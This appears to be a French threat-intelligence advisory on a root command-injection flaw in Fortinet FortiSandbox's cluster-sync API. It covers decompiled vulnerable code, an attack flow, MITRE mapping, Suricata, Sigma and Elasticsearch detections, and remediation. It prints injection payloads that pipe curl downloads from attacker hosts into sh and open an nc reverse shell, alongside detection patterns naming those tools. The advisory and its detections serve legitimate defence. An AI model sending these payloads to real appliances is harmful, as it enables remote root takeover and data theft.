Aller au contenu

CVE-2026-39808 : injection de commandes système root dans l'API d'administration de Fortinet FortiSandbox

HERMES

SCORE DE MENACE HERMES & NEUTRALISATION DE L'APPLIANCE DE DÉTONATION DE MALWARES

Cible : Fortinet FortiSandbox
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 20 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 affiche 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). La corrélation est directe : fortiSandbox constitue le pilier de défense contre les menaces zéro-day. L'exploitation de l'API d'administration permet une prise de contrôle root instantanée, offrant aux cyberattaquants la capacité d'aveugler les sondes en aval, de corrompre les instantanés de machines virtuelles et d'utiliser l'équipement comme bastion d'ancrage persistant.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-39808: Root OS Command Injection in Fortinet FortiSandbox Administrative APIVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTFortinet FortiOS Gateway
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Fortinet FortiOS Gateway documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

Les équipements FortiSandbox sont fréquemment déployés en grappes de haute disponibilité pour répartir les charges d’analyse dynamique sur des environnements virtualisés Windows et Linux.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-39808Référence CISA KEV
Composant vulnérablefsa_httpd / Gestionnaire de synchronisation de clusterDémon FastCGI d’API d’administration
Système embarquéFortiSandbox OS (Linux durci)Boîtiers physiques (FSA) & Virtuels (VM)
Vecteur réseauHTTP/HTTPS (Ports TCP 443, 80)Ports d’administration et d’interconnexion de cluster
Cause racineInterpolation de chaînes non échappées dans le shell (CWE-78)Injection de commandes root à distance
Versions affectéesFortiSandbox 4.4.0 - 4.4.5, 4.2.0 - 4.2.7, 4.0.0 - 4.0.6Équipements de détonation en production
Versions corrigées4.4.6, 4.2.8, 4.0.7Avis de sécurité Fortinet FG-IR-26-059
Impact d’exploitationPrise de contrôle root, contournement de détection, vol d’échantillonsCompromission totale de l’appliance de sécurité

2. Décomposition technique : injection dans la synchronisation de nœuds

Section intitulée « 2. Décomposition technique : injection dans la synchronisation de nœuds »

Lorsque des appliances FortiSandbox communiquent pour synchroniser les certificats TLS et l’état du cluster, le contrôleur principal invoque un script d’administration interne :

// Représentation décompilée de la fonction vulnérable dans fsa_httpd
int sync_cluster_node(http_request_t *req) {
char script_cmd[1024];
char *node_ip = get_json_field(req, "node_ip");
char *cluster_name = get_json_field(req, "cluster_name");
// ANOMALIE : Concaténation directe de cluster_name sans guillemets ni assainissement
snprintf(script_cmd, sizeof(script_cmd),
"/bin/fsa_sync_node --ip %s --name %s", node_ip, cluster_name);
return system(script_cmd);
}

Comme cluster_name est transmis sans protection à /bin/sh, un attaquant injecte une substitution de commande $(curl evil.c2/p | sh) :

POST /api/v1/cluster/node_sync HTTP/1.1
Host: fsa-cluster.corp.internal:443
Content-Type: application/json
{
"node_ip": "10.10.10.5",
"cluster_name": "primary`curl 198.51.100.66/rev | sh`"
}
+----------------------------------------------------------------------------------------------------+
| FLUX D'EXÉCUTION DE L'ATTAQUE CVE-2026-39808 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant]
│
│ [1] HTTP POST /api/v1/cluster/node_sync
│ Charge : { "node_ip": "10.0.0.1", "cluster_name": "prod$(nc 198.51.100.66 4444 -e /bin/sh)" }
▼
[Appliance FortiSandbox Principale (fsa_httpd)]
│
├───► 1. Traitement de la Route API :
│ - La route de synchronisation inter-nœuds n'exige aucun jeton de session
│ - Extrait le paramètre cluster_name
│
├───► 2. Lancement du Sous-Shell :
│ - Exécute : /bin/sh -c "/bin/fsa_sync_node --ip 10.0.0.1 --name prod$(...)"
│ - Le sous-shell exécute la charge utile en root (UID 0)
│
▼
[Exécution Root sur l'Équipement]
│
└───► Ouverture d'un shell inverse vers l'écouteur de l'attaquant :
- Dépôt d'un rootkit dans /data/fsa/
- Récupération des fichiers soumis à analyse et des e-mails d'entreprise
- Désactivation de l'envoi d'indicateurs de compromission aux pare-feu FortiGate
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature

Section intitulée « 3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature »
  • Inclusion CISA KEV : inscrite d’urgence en raison de son utilisation active contre des infrastructures sensibles de la défense et des télécommunications.
  • Impact opérationnel : les attaquants instrumentalisent la CVE-2026-39808 pour empêcher la détection de leurs phases d’attaque ultérieures (déploiement de rançongiciels, implants) en ordonnant à FortiSandbox de classer systématiquement leurs empreintes binaires comme saines.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1190Exploitation d’application publiqueRequête HTTP POST distante vers l’API de synchronisation de cluster
ExécutionT1059.004Interpréteur de commandes et scripts : Shell UnixSubstitution de commandes dans l’appel de script shell
Évasion de défenseT1562.001Altération des défensesFalsification des verdicts d’analyse et des journaux de détonation
CollecteT1005Données issues du système localVol des fichiers et pièces jointes soumis à l’analyse

alert http any any -> $FORTISANDBOX_SERVERS any (
msg:"HERMES DEFENSE - Tentative d'injection de commande cluster FortiSandbox (CVE-2026-39808)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/api/v1/cluster/node_sync";
http.request_body; pcre:"/(\`|\$\(|\;|\&\&|\|).*(sh|bash|curl|wget|nc)/i";
classtype:attempted-admin;
sid:202639808;
rev:1;
reference:cve,2026-39808;
)
title: Shell créé par le script de synchronisation de cluster FortiSandbox
id: 3d2c1b0a-9e8f-7a6b-5c4d-39808c026e02
status: high
description: Détecte la création de shells de commandes issus de l'utilitaire fsa_sync_node ou du serveur d'administration FortiSandbox.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: linux
category: process_creation
detection:
selection_parent:
ParentCommandLine|contains:
- 'fsa_sync_node'
- 'fsa_httpd'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/nc'
- '/usr/bin/curl'
condition: selection_parent and selection_child
falsepositives:
- Scripts officiels lors des mises à jour logicielles de firmware.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.004

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »

Procédure de diagnostic sur la CLI FortiSandbox :

Section intitulée « Procédure de diagnostic sur la CLI FortiSandbox : »
  1. Contrôle des processus en cours d’exécution :
    diagnose sys process list
    # Repérer des processus nc, sh ou curl spawned sous fsa_httpd
  2. Audit des événements d’administration :
    diagnose log show system-event
    # Filtrer les opérations node_sync émanant d'adresses IP non répertoriées
  3. Vérification de l’intégrité du système de fichiers :
    • Contrôler /data/fsa/ et /var/log/ pour déceler d’éventuels binaires suspects ou altérations de bases de données locales.
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "wildcard": { "url.path": "*/api/v1/cluster/node_sync*" } },
{ "wildcard": { "http.request.body.content": "*$*" } }
]
}
}
}

  1. Application immédiate de la mise à jour officielle : installer sans attendre la version FortiSandbox 4.4.6, 4.2.8 ou 4.0.7.
  2. Filtrage des communications inter-cluster : restreindre les flux de synchronisation de cluster aux seules adresses IP approuvées des membres de la grappe via des tunnels IPsec et des règles de pare-feu strictes.
  3. Désactivation des interfaces non requises : désactiver l’interface web de gestion sur tous les réseaux d’utilisateurs généraux.
  4. Audit rétrospectif des détections : examiner les journaux d’analyse pour repérer d’éventuelles modifications de verdicts sur les fichiers soumis pendant la période d’exposition.